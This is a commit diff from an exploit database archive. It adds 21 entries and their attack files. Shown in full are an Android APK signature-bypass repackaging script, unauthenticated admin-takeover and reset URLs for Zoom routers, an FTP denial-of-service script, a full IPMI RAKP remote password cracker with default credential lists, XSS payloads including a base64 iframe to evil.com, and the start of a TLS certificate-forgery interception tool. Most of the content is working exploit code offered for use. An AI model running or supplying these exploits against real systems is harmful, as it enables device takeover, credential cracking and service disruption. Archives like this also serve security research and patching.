DB: 2015-11-06
21 new exploits
This commit is contained in:
Offensive Security
parent
74c8d4333f
commit
c4e7f4ce3a
23 changed files with 2444 additions and 1 deletions
23
files.csv
23
files.csv
|
|
@ -9233,7 +9233,7 @@ id,file,description,date,author,platform,type,port
|
|||
9841,platforms/asp/webapps/9841.txt,"BPHolidayLettings 1.0 - Blind SQL Injection",2009-09-22,"OoN Boy",asp,webapps,0
|
||||
9842,platforms/php/local/9842.txt,"PHP 5.3.0 - pdflib Arbitrary File Write",2009-11-06,"Sina Yazdanmehr",php,local,0
|
||||
9843,platforms/multiple/remote/9843.txt,"Blender 2.34 / 2.35a / 2.4 / 2.49b - (.blend) Command Injection",2009-11-05,"Core Security",multiple,remote,0
|
||||
9844,platforms/linux/local/9844.py,"Linux Kernel 2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 - Pipe.c Privelege Escalation",2009-11-05,"Matthew Bergin",linux,local,0
|
||||
9844,platforms/linux/local/9844.py,"Linux Kernel 2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 - Pipe.c Privilege Escalation",2009-11-05,"Matthew Bergin",linux,local,0
|
||||
9845,platforms/osx/dos/9845.c,"OSX 10.5.6-10.5.7 - ptrace mutex DoS",2009-11-05,prdelka,osx,dos,0
|
||||
9847,platforms/php/webapps/9847.txt,"Portili Personal and Team Wiki <= 1.14 - Multiple Vulnerabilities",2009-11-04,Abysssec,php,webapps,0
|
||||
9849,platforms/php/webapps/9849.php,"PunBB Extension Attachment <= 1.0.2 - SQL Injection",2009-11-03,puret_t,php,webapps,0
|
||||
|
|
@ -34873,6 +34873,7 @@ id,file,description,date,author,platform,type,port
|
|||
38596,platforms/php/webapps/38596.txt,"Xaraya Multiple Cross Site Scripting Vulnerabilities",2013-06-26,"High-Tech Bridge",php,webapps,0
|
||||
38597,platforms/multiple/remote/38597.txt,"Motion Multiple Remote Security Vulnerabilities",2013-06-26,xistence,multiple,remote,0
|
||||
38598,platforms/php/webapps/38598.txt,"ZamFoo 'date' Parameter Remote Command Injection Vulnerability",2013-06-15,localhost.re,php,webapps,0
|
||||
38599,platforms/win32/remote/38599.py,"Symantec pcAnywhere 12.5.0 Windows x86 - Remote Code Execution",2015-11-02,"Tomislav Paskalev",win32,remote,0
|
||||
38600,platforms/windows/local/38600.py,"Sam Spade 1.14 - (Crawl website) Buffer OverFlow",2015-11-02,MandawCoder,windows,local,0
|
||||
38601,platforms/windows/local/38601.py,"Sam Spade 1.14 - (Scan Addresses) Buffer Overflow Exploit",2015-11-02,VIKRAMADITYA,windows,local,0
|
||||
38602,platforms/windows/webapps/38602.txt,"actiTIME 2015.2 - Multiple Vulnerabilities",2015-11-02,LiquidWorm,windows,webapps,0
|
||||
|
|
@ -34892,4 +34893,24 @@ id,file,description,date,author,platform,type,port
|
|||
38616,platforms/multiple/dos/38616.txt,"Python 2.7 array.fromstring Method - Use After Free",2015-11-03,"John Leitch",multiple,dos,0
|
||||
38617,platforms/windows/dos/38617.txt,"Python 2.7 strop.replace() Method - Integer Overflow",2015-11-03,"John Leitch",windows,dos,0
|
||||
38618,platforms/windows/dos/38618.txt,"Python 3.3 - 3.5 product_setstate() Function - Out-of-bounds Read",2015-11-03,"John Leitch",windows,dos,0
|
||||
38631,platforms/windows/local/38631.txt,"McAfee Data Loss Prevention Multiple Information Disclosure Vulnerabilities",2013-06-24,"Jamie Ooi",windows,local,0
|
||||
38632,platforms/hardware/remote/38632.txt,"Multiple Zoom Telephonics Devices Multiple Security Vulnerabilities",2013-07-09,"Kyle Lovett",hardware,remote,0
|
||||
38630,platforms/php/webapps/38630.html,"phpVibe Information Disclosure and Remote File Include Vulnerabilities",2013-07-06,indoushka,php,webapps,0
|
||||
38620,platforms/linux/dos/38620.txt,"FreeType 2.6.1 TrueType tt_cmap14_validate Parsing Heap-Based Out-of-Bounds Reads",2015-11-04,"Google Security Research",linux,dos,0
|
||||
38621,platforms/php/webapps/38621.txt,"WordPress Xorbin Digital Flash Clock 'widgetUrl' Parameter Cross Site Scripting Vulnerability",2013-06-30,"Prakhar Prasad",php,webapps,0
|
||||
38622,platforms/linux/dos/38622.txt,"libvirt 'virConnectListAllInterfaces' Method Denial of Service Vulnerability",2013-07-01,"Daniel P. Berrange",linux,dos,0
|
||||
38623,platforms/multiple/dos/38623.html,"RealNetworks RealPlayer Denial of Service Vulnerability",2013-07-02,"Akshaysinh Vaghela",multiple,dos,0
|
||||
38624,platforms/php/webapps/38624.txt,"WordPress WP Feed Plugin 'nid' Parameter SQL Injection Vulnerability",2013-07-02,"Iranian Exploit DataBase",php,webapps,0
|
||||
38625,platforms/php/webapps/38625.txt,"WordPress Category Grid View Gallery Plugin 'ID' Parameter Cross Site Scripting Vulnerability",2013-07-02,"Iranian Exploit DataBase",php,webapps,0
|
||||
38626,platforms/multiple/dos/38626.py,"FileCOPA FTP Server Remote Denial of Service Vulnerability",2013-07-01,Chako,multiple,dos,0
|
||||
38627,platforms/android/remote/38627.sh,"Google Android 'APK' code Remote Security Bypass Vulnerability",2013-07-03,"Bluebox Security",android,remote,0
|
||||
38628,platforms/php/webapps/38628.txt,"HostBill 'cpupdate.php' Authentication Bypass Vulnerability",2013-05-29,localhost.re,php,webapps,0
|
||||
38633,platforms/multiple/remote/38633.pl,"Intelligent Platform Management Interface Information Disclosure Vulnerability",2013-07-02,"Dan Farmer",multiple,remote,0
|
||||
38634,platforms/ios/remote/38634.txt,"Air Drive Plus Multiple Input Vallidation Vulnerabilities",2013-07-09,"Benjamin Kunz Mejri",ios,remote,0
|
||||
38635,platforms/php/webapps/38635.txt,"iVote 'details.php' SQL Injection Vulnerability",2013-07-10,"Ashiyane Digital Security Team",php,webapps,0
|
||||
38636,platforms/multiple/remote/38636.txt,"Cryptocat Chrome Extension 'img/keygen.gif' File Information Disclosure Vulnerability",2012-11-07,"Mario Heiderich",multiple,remote,0
|
||||
38637,platforms/multiple/remote/38637.txt,"Cryptocat Arbitrary Script Injection Vulnerability",2015-11-07,"Mario Heiderich",multiple,remote,0
|
||||
38638,platforms/php/webapps/38638.txt,"Mintboard Multiple Cross Site Scripting Vulnerabilities",2013-07-10,"Canberk BOLAT",php,webapps,0
|
||||
38639,platforms/php/webapps/38639.txt,"miniBB SQL Injection and Multiple Cross Site Scripting Vulnerabilities",2013-07-11,Netsparker,php,webapps,0
|
||||
38640,platforms/multiple/webapps/38640.rb,"OpenSSL Alternative Chains Certificate Forgery",2015-11-05,"Ramon de C Valle",multiple,webapps,0
|
||||
38641,platforms/multiple/webapps/38641.rb,"JSSE SKIP-TLS Exploit",2015-11-05,"Ramon de C Valle",multiple,webapps,0
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
38
platforms/android/remote/38627.sh
Executable file
38
platforms/android/remote/38627.sh
Executable file
|
|
@ -0,0 +1,38 @@
|
|||
source: http://www.securityfocus.com/bid/60952/info
|
||||
|
||||
Google Android is prone to a remote security-bypass vulnerability.
|
||||
|
||||
Attackers can exploit this issue to bypass certain security restrictions to perform unauthorized actions. This may aid in further attacks.
|
||||
|
||||
#!/bin/bash
|
||||
# PoC for Android bug 8219321 by @pof
|
||||
# +info: https://jira.cyanogenmod.org/browse/CYAN-1602
|
||||
if [ -z $1 ]; then echo "Usage: $0 <file.apk>" ; exit 1 ; fi
|
||||
APK=$1
|
||||
rm -r out out.apk tmp 2>/dev/null
|
||||
java -jar apktool.jar d $APK out
|
||||
#apktool d $APK out
|
||||
echo "Modify files, when done type 'exit'"
|
||||
cd out
|
||||
bash
|
||||
cd ..
|
||||
java -jar apktool.jar b out out.apk
|
||||
#apktool b out out.apk
|
||||
mkdir tmp
|
||||
cd tmp/
|
||||
unzip ../$APK
|
||||
mv ../out.apk .
|
||||
cat >poc.py <<-EOF
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
import sys
|
||||
z = zipfile.ZipFile(sys.argv[1], "a")
|
||||
z.write(sys.argv[2])
|
||||
z.close()
|
||||
EOF
|
||||
chmod 755 poc.py
|
||||
for f in `find . -type f |egrep -v "(poc.py|out.apk)"` ; do ./poc.py out.apk "$f" ; done
|
||||
cp out.apk ../evil-$APK
|
||||
cd ..
|
||||
rm -rf tmp out
|
||||
echo "Modified APK: evil-$APK"
|
||||
45
platforms/hardware/remote/38632.txt
Executable file
45
platforms/hardware/remote/38632.txt
Executable file
|
|
@ -0,0 +1,45 @@
|
|||
source: http://www.securityfocus.com/bid/61044/info
|
||||
|
||||
Multiple Zoom Telephonics devices are prone to an information-disclosure vulnerability, multiple authentication bypass vulnerabilities and an SQL-injection vulnerability.
|
||||
|
||||
Exploiting these issues could allow an attacker to gain unauthorized access and perform arbitrary actions, obtain sensitive information, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
Vulnerability proofs and examples-
|
||||
All administrative items can be accessed through these two URLs
|
||||
|
||||
--Menu Banner
|
||||
http://www.example.com/hag/pages/toc.htm
|
||||
|
||||
-Advanced Options Menu
|
||||
http://www.example.com/hag/pages/toolbox.htm
|
||||
|
||||
Example commands that can be executed remotely through a web browser
|
||||
URL, or a modified HTTP GET/POST requests-
|
||||
|
||||
-Change Password for admin Account
|
||||
|
||||
On Firmware 2.5 or lower
|
||||
http://www.example.com/hag/emweb/PopOutUserModify.htm/FormOne&user=admin&ex_param1=
|
||||
admin&new_pass1=123456&new_pass2=123456&id=3&cmdSubmit=Save+Changes
|
||||
|
||||
On Firmware 3.0-
|
||||
http://www.example.com/hag/emweb/PopOutUserModify.htm?id=40&user=admin&Zadv=1&ex_pa
|
||||
ram1=admin&new_pass1=123456&new_pass2=123456&id=3&cmdSubmit=Save+Changes
|
||||
|
||||
-Clear Logs
|
||||
http://www.example.com/Action?id=76&cmdClear+Log=Clear+Log
|
||||
|
||||
-Remote Reboot to Default Factory Settings-
|
||||
Warning - For all intents and purposes, this action will almost always
|
||||
result in a long term Denial of Service attack.
|
||||
http://www.example.com/Action?reboot_loc=1&id=5&cmdReboot=Reboot
|
||||
|
||||
-Create New Admin or Intermediate Account-
|
||||
On Firmware 2.5 or lower
|
||||
http://www.example.com/hag/emweb/PopOutUserAdd.htm?id=70&user_id="newintermediateac
|
||||
count"&priv=v2&pass1="123456"&pass2="123456"&cmdSubmit=Save+Changes
|
||||
|
||||
On Firmware 3.0-
|
||||
http://www.example.com/hag/emweb/PopOutUserAdd.htm?id=70&Zadv=1&ex_param1=adminuser
|
||||
_id="newadminaccount"&priv=v1&pass1="123456"&pass2="123456"&cmdSubmit=Sa
|
||||
ve+Changes
|
||||
24
platforms/ios/remote/38634.txt
Executable file
24
platforms/ios/remote/38634.txt
Executable file
|
|
@ -0,0 +1,24 @@
|
|||
source: http://www.securityfocus.com/bid/61081/info
|
||||
|
||||
Air Drive Plus is prone to multiple input validation vulnerabilities including a local file-include vulnerability, an arbitrary file-upload vulnerability, and an HTML-injection vulnerability.
|
||||
|
||||
An attacker can exploit these issues to upload arbitrary files onto the web server, execute arbitrary local files within the context of the web server, obtain sensitive information, execute arbitrary script code within the context of the browser, and steal cookie-based authentication credentials.
|
||||
|
||||
Air Drive Plus 2.4 is vulnerable; other versions may also be affected.
|
||||
|
||||
<tr><td><img src="Air%20Drive%20-%20Files_files/file.png" height="20px" width="20px"></td><td><a target="_blank"
|
||||
href="http://www.example.com/AirDriveAction_file_show/;/private/var/mobile/Applications";>;/private/var/mobile/Applications/</a></td>
|
||||
<td>27,27KB</td><td align="center">2013-07-08 23:07:52</td><td align="center">
|
||||
<a onclick="javascript:delfile("/private/var/mobile/Applications");" class="transparent_button">Delete</a></td></tr>
|
||||
|
||||
<tr><td><img src="Air%20Drive%20-%20Files_files/file.png" height="20px" width="20px"></td><td><a target="_blank"
|
||||
href="http://www.example.com/AirDriveAction_file_show/1337.png.gif.php.js.html";>1337.png.gif.php.js.html</a></td>
|
||||
<td>27,27KB</td><td align="center">2013-07-08 23:07:52</td><td align="center"><a
|
||||
onclick="javascript:delfile("1337.png.gif.php.js.html");"
|
||||
class="transparent_button">Delete</a></td></tr>
|
||||
|
||||
<tr><td><img src="Air%20Drive%20-%20Files_files/file.png" height="20px" width="20px"></td><td><a target="_blank"
|
||||
href="http://www.example.com/AirDriveAction_file_show/[PERSISTENT INJECTED SCRIPT CODE!]1337.png">[PERSISTENT
|
||||
INJECTED SCRIPT CODE!]1337.png</a></td><td>27,27KB</td><td align="center">
|
||||
2013-07-08 23:07:52</td><td align="center"><a onclick="javascript:delfile("[PERSISTENT INJECTED SCRIPT
|
||||
CODE!]1337.png");" class="transparent_button">Delete</a></td></tr>
|
||||
7
platforms/linux/dos/38622.txt
Executable file
7
platforms/linux/dos/38622.txt
Executable file
|
|
@ -0,0 +1,7 @@
|
|||
source: http://www.securityfocus.com/bid/60876/info
|
||||
|
||||
libvirt is prone to a denial-of-service vulnerability.
|
||||
|
||||
Attackers can exploit this issue to crash the application that uses the affected library, denying service to legitimate users.
|
||||
|
||||
# virsh -c qemu:///system --readonly iface-list --inactive
|
||||
9
platforms/multiple/dos/38623.html
Executable file
9
platforms/multiple/dos/38623.html
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/60903/info
|
||||
|
||||
RealNetworks RealPlayer is prone to a remote denial-of-service vulnerability.
|
||||
|
||||
Successful exploits will allow attackers to consume an excessive amount of CPU resources, denying service to legitimate users.
|
||||
|
||||
RealPlayer 16.0.2.32 and prior are vulnerable.
|
||||
|
||||
<html> <head> <script language="JavaScript"> { var buffer = '\x41' for(i=0; i <= 100 ; ++i) { buffer+=buffer+buffer document.write(buffer); } } </script> </head> </html>
|
||||
31
platforms/multiple/dos/38626.py
Executable file
31
platforms/multiple/dos/38626.py
Executable file
|
|
@ -0,0 +1,31 @@
|
|||
source: http://www.securityfocus.com/bid/60909/info
|
||||
|
||||
FileCOPA FTP Server is prone to a remote denial-of-service vulnerability.
|
||||
|
||||
Attackers can exploit this issue to crash the affected application, denying service to legitimate users.
|
||||
|
||||
FileCOPA FTP Server 7.01 is vulnerable; other versions may also be affected.
|
||||
|
||||
#!/usr/bin/python
|
||||
|
||||
import socket
|
||||
import sys
|
||||
|
||||
|
||||
PAYLOAD = "\x41" * 7000
|
||||
|
||||
|
||||
print("\n\n[+] FileCOPA V7.01 HTTP POST Denial Of Service")
|
||||
print("[+] Version: V7.01")
|
||||
print("[+] Chako\n\n\n")
|
||||
|
||||
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
||||
s.connect(('www.example.com',81))
|
||||
|
||||
s.send("POST /" + PAYLOAD + "/ HTTP/1.0\r\n\r\n")
|
||||
|
||||
|
||||
s.close()
|
||||
print("[!] Done! Exploit successfully sent\n")
|
||||
|
||||
|
||||
276
platforms/multiple/remote/38633.pl
Executable file
276
platforms/multiple/remote/38633.pl
Executable file
|
|
@ -0,0 +1,276 @@
|
|||
source: http://www.securityfocus.com/bid/61076/info
|
||||
|
||||
Intelligent Platform Management Interface is prone to an information-disclosure vulnerability.
|
||||
|
||||
Attackers can exploit this issue to obtain sensitive information that may aid password guessing attacks.
|
||||
|
||||
Intelligent Platform Management Interface 2.0 is vulnerable; other versions may also be affected.
|
||||
|
||||
#!/usr/bin/env perl
|
||||
#
|
||||
# Usage: rak-the-ripper [options] target
|
||||
#
|
||||
# dan/zen@trouble.org - 6/19/2013
|
||||
#
|
||||
# Special thanks to Jarrod B Johnson (<jbjohnso@us.ibm.com>), whose
|
||||
# implemention of RAKP for the xCAT project
|
||||
(http://xcat.sourceforge.net/)
|
||||
# was instrumental to furthering my understanding of the issue.
|
||||
#
|
||||
#
|
||||
# Remote IPMi password cracker; uses the RAKP 2 protocol to guess
|
||||
passwords
|
||||
# from a remote BMC. No account or information needed.
|
||||
#
|
||||
# Options:
|
||||
#
|
||||
# -d Debug... let it all out
|
||||
# -i inform... every N guesses print out a status-y
|
||||
line
|
||||
# -n num-guesses sets N for -i option -p/path/to/words Use a file of
|
||||
# passwords to guess, 1 per line -P password Use a specific password
|
||||
# -u/path/to/users Use a file of users to guess, 1 per line -U
|
||||
# specific-user Use a specific user, don't guess -v Verbose -version
|
||||
# Print version #
|
||||
#
|
||||
# Explanation:
|
||||
#
|
||||
# IPMI v2, when using the RAKP protocol, uses HMAC hashes for
|
||||
authentication
|
||||
# (see page 162 of the IPMI 2.0 spec for more details.)
|
||||
#
|
||||
# Three factors are of interest here:
|
||||
#
|
||||
# 1) You can test if an account exists (RAKP will generate a
|
||||
recognizable error
|
||||
# if not.)
|
||||
# 2) IPMI will return a (supposedly) globally unique number for a BMC.
|
||||
This is
|
||||
# a potentially really interesting thing - identity of a system on a
|
||||
network
|
||||
# is a very difficult problem. Unfortunately it looks like many
|
||||
vendors
|
||||
# don't implement this correctly... not sure if all 0's (a common
|
||||
value)
|
||||
# afects the strength of the HMAC, but...?
|
||||
# 3) You get to extract the HMAC hash - and then run a password cracker
|
||||
on it.
|
||||
# Pretty interesting....!
|
||||
#
|
||||
# To start a RAKP session you can use the fine ipmitool utility (the
|
||||
"lanplus"
|
||||
# argument here forces IPMI 2.0):
|
||||
#
|
||||
# ipmitool -I lanplus -v -v -v -U ADMIN -P fluffy-wuffy -H
|
||||
192.168.0.69 chassis identify
|
||||
#
|
||||
# This kicks off a back-n-forth sequence with a remote BMC; for
|
||||
instance, on my iMac,
|
||||
# it looks like this:
|
||||
#
|
||||
# client (iMac) BMC ------------- ---- 1 get channel auth
|
||||
# 2 response 3 RMCP+ open session request 4 open session
|
||||
# response 5 RAKP message 1 6 RAKP message 2
|
||||
#
|
||||
# It's in step 6 that you get the HMAC hash needed to fill in the
|
||||
details.
|
||||
# Fortunately ipmitool gives you all you need.
|
||||
#
|
||||
# You may simply parse the verbose ipmitool output, which at one point
|
||||
will emit
|
||||
# something that looks like:
|
||||
#
|
||||
# >> rakp2 mac input buffer (63 bytes)
|
||||
# a4 a3 a2 a0 4c 7f fb df ec a4 a3 96 b1 d0 7e 27 cd ef 32 ae 66 cf
|
||||
# 87 b9 aa 3e 97 ed 5d 39 77 4b bc 8a c5 a9 e2 da 1d d9 35 30 30 31
|
||||
# 4d 53 00 00 00 00 00 00 00 00 00 00 14 05 41 44 4d 49 4e
|
||||
#
|
||||
# these bytes are, in order, the session IDs of the remote console &
|
||||
managed system,
|
||||
# the remote console's random number, the managed system's random
|
||||
number,
|
||||
# the managed system's GUID, the priv level, the length of the user
|
||||
name,
|
||||
# and finally the user name.
|
||||
#
|
||||
# You simply take the HMAC of that and the password (or password guess!)
|
||||
# and compare it with the key exchange auth code that the BMC has sent
|
||||
you.
|
||||
#
|
||||
# << Key exchange auth code [sha1] :
|
||||
0xede8ec3caeb235dbad1210ef985b1b19cdb40496
|
||||
#
|
||||
# Default Users: 'admin', 'USERID', 'root', 'Administrator',
|
||||
'ADMIN'
|
||||
# Default Passwords: 'PASSW0RD', 'admin', 'calvin', 'changeme',
|
||||
'opensource', 'password' use Time::HiRes; use IO::CaptureOutput
|
||||
qw/capture_exec/; use Digest::SHA qw(hmac_sha1_hex); use Getopt::Long
|
||||
qw(:config no_ignore_case); sub main::VERSION_MESSAGE {
|
||||
print "$0 0.0.1\n";
|
||||
exit;
|
||||
};
|
||||
sub main::HELP_MESSAGE {
|
||||
print "Usage: $0 [options] target\n".
|
||||
"\t-d\t\t\tDebug... print words as they're being guessed\n".
|
||||
"\t-i\t\t\tinform... every N guesses print out a status-y line\n".
|
||||
"\t-n num-guesses\t\tsets N for -i option\n".
|
||||
"\t-p /path/to/words\tUse a file of passwords to guess, 1 per
|
||||
line\n".
|
||||
"\t-P password\t\tUse a specific password \n".
|
||||
"\t-u /path/to/users\tUse a file of users to guess, 1 per line\n".
|
||||
"\t-U specific-user\tUse a specific user, don't guess\n".
|
||||
"\t-v\t\t\tVerbose\n".
|
||||
"\t-version\t\tPrint version #\n";
|
||||
exit;
|
||||
};
|
||||
GetOptions(
|
||||
'd' => \$debug,
|
||||
'h' => \$help, 'help' => \$help,
|
||||
'i' => \$inform, 'inform' => \$inform,
|
||||
'n=i' => \$Nguesses,
|
||||
'p=s' => \$password_file,
|
||||
'P=s' => \@guesses,
|
||||
'u=s' => \$user_file,
|
||||
'U=s' => \@users,
|
||||
'v' => \$verbose,
|
||||
'version' => \$version ) || die main::HELP_MESSAGE();
|
||||
#
|
||||
# process command line arg stuff
|
||||
#
|
||||
die main::HELP_MESSAGE() if (defined($help));
|
||||
# the target, specified on command line
|
||||
$target = $ARGV[0]; die main::HELP_MESSAGE() if ($target eq "");
|
||||
# this can take awhile to finish...
|
||||
print "Started at " . `date` if $verbose;
|
||||
# anything > 0 and <= 20 characters would work here; ipmitool simply
|
||||
needs something $pass = "fluffy-wuffy-bunny!!";
|
||||
#
|
||||
# Need some passwords to guess... either from file or some defaults I
|
||||
made up
|
||||
# Not going to cache these since they can blow up my poor mac's
|
||||
memory... feel
|
||||
# free to change it ;)
|
||||
#
|
||||
if (! defined(@guesses)) {
|
||||
if ($password_file ne "") {
|
||||
open(PASSWORDS, $password_file) || die "can't open user file
|
||||
$password_file\n";
|
||||
print "opening password file $password_file\n" if $verbose;
|
||||
}
|
||||
else {
|
||||
print "using default passwords\n" if $verbose;
|
||||
@guesses = ('PASSW0RD', 'admin', 'calvin', 'changeme',
|
||||
'opensource', 'password');
|
||||
}
|
||||
}
|
||||
#
|
||||
# need to know account name... either from file or some defaults I made
|
||||
up
|
||||
#
|
||||
if (! defined(@users)) {
|
||||
if ($user_file ne "") {
|
||||
open(ACCOUNTS, $user_file) || die "can't open user file
|
||||
$user_file\n";
|
||||
print "getting list of users from $user_file\n" if $verbose;
|
||||
@users = <ACCOUNTS>;
|
||||
chomp(@users);
|
||||
close(ACCOUNTS);
|
||||
}
|
||||
else {
|
||||
@users = ('admin', 'ADMIN', 'USERID', 'root', 'Administrator');
|
||||
print "using default user list\n" if $verbose;
|
||||
}
|
||||
}
|
||||
#
|
||||
# a tiny subroutine to chow down on possible guesses
|
||||
#
|
||||
sub guesswork() {
|
||||
print "\t$guess...\n" if $debug;
|
||||
if ($inform) {
|
||||
print "\t$n guesses (so far)...\n" if (! ($n % $Nguesses));
|
||||
}
|
||||
$guess_suffix = "";
|
||||
$guess_suffix = "ses" if $n > 1;
|
||||
# $stuff = pack 'C*', map hex, @input; print
|
||||
# hmac_sha1_hex($stuff,$pass) . "\n"; print "... 0x" .
|
||||
# hmac_sha1_hex($stuff,$guess) . "\n";
|
||||
if ("0x" . hmac_sha1_hex($stuff,$guess) eq $hashy) {
|
||||
print "...cracked in $n guess$guess_suffix...\n\nPassword for
|
||||
$user is $guess\n\n";
|
||||
$cracked = 1;
|
||||
return 1;
|
||||
}
|
||||
$n++;
|
||||
return(0);
|
||||
}
|
||||
#
|
||||
# look for a user, any user... RAKP will gripe if it's not valid
|
||||
#
|
||||
for $user (@users) {
|
||||
print("\tprobing $target for $user...\n") if $verbose;
|
||||
# chassis id starts up the RP machinery
|
||||
@icmd = ("ipmitool", "-I", "lanplus", "-v","-v","-v","-v", "-U",
|
||||
"$user", "-P", "$pass", "-H", "$target", "chassis", "identify");
|
||||
($stdout, $stderr, $success, $exit) = capture_exec( @icmd );
|
||||
#
|
||||
# grabbing two things - the input to calculate the hash, and the hash
|
||||
itself.
|
||||
# but first... hunt for a valid user on the BMC.
|
||||
#
|
||||
if ($stdout =~ /RMCP\+ status\s+:\s+unauthorized name/) { next; }
|
||||
elsif ($stdout =~ /RMCP\+ status\s+:\s+insufficient resources for
|
||||
session/) {
|
||||
print "interesting... insufficient resources... try again?\n" if
|
||||
$verbose;
|
||||
next;
|
||||
}
|
||||
elsif ($stdout =~ /^\s*$/) { next; }
|
||||
# kill the leading whitespace & newlines... hash is in stdout, input
|
||||
data in stderr
|
||||
$stderr =~ s/\n//gs;
|
||||
$stdout =~ s/\n//gs;
|
||||
$name_found = 1;
|
||||
print "Found valid user: $user\n" if $verbose;
|
||||
# after this, no need to continue with other users
|
||||
@users = ();
|
||||
# << Key exchange auth code [sha1] :
|
||||
0x6e5d0a121e13fa8f73bfc2da15f7b012382f6be9
|
||||
($hashy = $stdout) =~ m/^.*<< Key exchange auth code \[sha1\] :
|
||||
([^\s]+).*$/m;
|
||||
$hashy = $1;
|
||||
if ($hashy eq "") { print "couldn't find an auth code, skipping\n";
|
||||
next; }
|
||||
($input = $stderr) =~ m/^.*>> rakp2 mac input buffer \(\d+ bytes\)
|
||||
([^>]+)>>.*$/m;
|
||||
$input = $1;
|
||||
if ($input eq "") { print "couldn't find data to HMAC, skipping\n";
|
||||
next; }
|
||||
# stuff it into binary form
|
||||
$stuff = pack 'C*', map hex, split(/ /, $input);
|
||||
print "... searching for HMAC match for $user ($hashy)\n" if
|
||||
$verbose;
|
||||
$n = 1;
|
||||
$cracked = 0;
|
||||
# curiosity ;)
|
||||
$start = Time::HiRes::gettimeofday();
|
||||
if (! defined(@guesses)) {
|
||||
while (($guess = <PASSWORDS>)) {
|
||||
chomp($guess);
|
||||
break if guesswork();
|
||||
}
|
||||
close(PASSWORDS);
|
||||
}
|
||||
else {
|
||||
for $guess (@guesses) {
|
||||
break if guesswork();
|
||||
}
|
||||
}
|
||||
}
|
||||
die "\nno valid accounts found\n" unless $name_found; print "$n
|
||||
passwords were tried\n" if $verbose; $end = Time::HiRes::gettimeofday();
|
||||
$time = $end - $start; if ($verbose && $time > 0) {
|
||||
printf("time elapsed was ~ %.2f\n", $end - $start);
|
||||
$per_second = $n / $time;
|
||||
print "$n passwords were guessed, at the rate of $per_second per
|
||||
second\n";
|
||||
}
|
||||
10
platforms/multiple/remote/38636.txt
Executable file
10
platforms/multiple/remote/38636.txt
Executable file
|
|
@ -0,0 +1,10 @@
|
|||
source: http://www.securityfocus.com/bid/61090/info
|
||||
|
||||
Cryptocat is prone to an information disclosure vulnerability.
|
||||
|
||||
An attacker can exploit this issue to gain access to sensitive information that may aid in further attacks.
|
||||
|
||||
Cryptocat 2.0.21 is vulnerable; other versions may also be affected.
|
||||
|
||||
<img src="chrome-extension://[extension-id-from-chrome-web-
|
||||
store]/img/keygen.gif" onload=alert(/hascat/) onerror=alert(/hasnot/) >
|
||||
9
platforms/multiple/remote/38637.txt
Executable file
9
platforms/multiple/remote/38637.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/61093/info
|
||||
|
||||
Cryptocat is prone to an arbitrary script-injection vulnerability because it fails to properly sanitize user-supplied input.
|
||||
|
||||
An attacker can exploit this issue to execute arbitrary script code within the context of the application.
|
||||
|
||||
Versions prior to Cryptocat 2.0.22 are vulnerable.
|
||||
|
||||
Http://example.come/data:image/foo;base64,PGh0bWw+PGlmcmFtZSBzcmM9Imh0dHA6Ly9ldmlsLmNvbS8iPjwvaWZyYW1lPjwvaHRtbD4NCg
|
||||
222
platforms/multiple/webapps/38640.rb
Executable file
222
platforms/multiple/webapps/38640.rb
Executable file
|
|
@ -0,0 +1,222 @@
|
|||
#!/usr/bin/env ruby
|
||||
# encoding: ASCII-8BIT
|
||||
# By Ramon de C Valle. This work is dedicated to the public domain.
|
||||
|
||||
require 'openssl'
|
||||
require 'optparse'
|
||||
require 'socket'
|
||||
|
||||
Version = [0, 0, 1]
|
||||
Release = nil
|
||||
|
||||
class String
|
||||
def hexdump(stream=$stdout)
|
||||
0.step(bytesize - 1, 16) do |i|
|
||||
stream.printf('%08x ', i)
|
||||
|
||||
0.upto(15) do |j|
|
||||
stream.printf(' ') if j == 8
|
||||
|
||||
if i + j >= bytesize
|
||||
stream.printf(' ')
|
||||
else
|
||||
stream.printf('%02x ', getbyte(i + j))
|
||||
end
|
||||
end
|
||||
|
||||
stream.printf(' ')
|
||||
|
||||
0.upto(15) do |j|
|
||||
if i + j >= bytesize
|
||||
stream.printf(' ')
|
||||
else
|
||||
if /[[:print:]]/ === getbyte(i + j).chr && /[^[:space:]]/ === getbyte(i + j).chr
|
||||
stream.printf('%c', getbyte(i + j))
|
||||
else
|
||||
stream.printf('.')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
stream.printf("\n")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
options = {}
|
||||
|
||||
OptionParser.new do |parser|
|
||||
parser.banner = "Usage: #{parser.program_name} [options] host cacert key cert"
|
||||
|
||||
parser.separator('')
|
||||
parser.separator('Options:')
|
||||
|
||||
parser.on('-H', '--local-host HOST', 'Local host') do |host|
|
||||
options[:local_host] = host
|
||||
end
|
||||
|
||||
parser.on('-P', '--local-port PORT', 'Local port') do |port|
|
||||
options[:local_port] = port
|
||||
end
|
||||
|
||||
parser.on('-d', '--debug', 'Debug mode') do
|
||||
options[:debug] = true
|
||||
end
|
||||
|
||||
parser.on('-h', '--help', 'Show this message') do
|
||||
puts parser
|
||||
exit
|
||||
end
|
||||
|
||||
parser.on('-o', '--output FILE', 'Output file') do |file|
|
||||
options[:file] = File.new(file, 'w+b')
|
||||
end
|
||||
|
||||
parser.on('-p', '--port PORT', 'Port') do |port|
|
||||
options[:port] = port
|
||||
end
|
||||
|
||||
parser.on('-v', '--verbose', 'Verbose mode') do
|
||||
options[:verbose] = true
|
||||
end
|
||||
|
||||
parser.on('--pass-phrase PASS_PHRASE', 'Pass phrase for the key') do |pass_phrase|
|
||||
options[:pass_phrase] = pass_phrase
|
||||
end
|
||||
|
||||
parser.on('--subject SUBJECT', 'Subject field for the fake certificate') do |subject|
|
||||
options[:subject] = subject
|
||||
end
|
||||
|
||||
parser.on('--version', 'Show version') do
|
||||
puts parser.ver
|
||||
exit
|
||||
end
|
||||
end.parse!
|
||||
|
||||
local_host = options[:local_host] || '0.0.0.0'
|
||||
local_port = options[:local_port] || 443
|
||||
debug = options[:debug] || false
|
||||
file = options[:file] || nil
|
||||
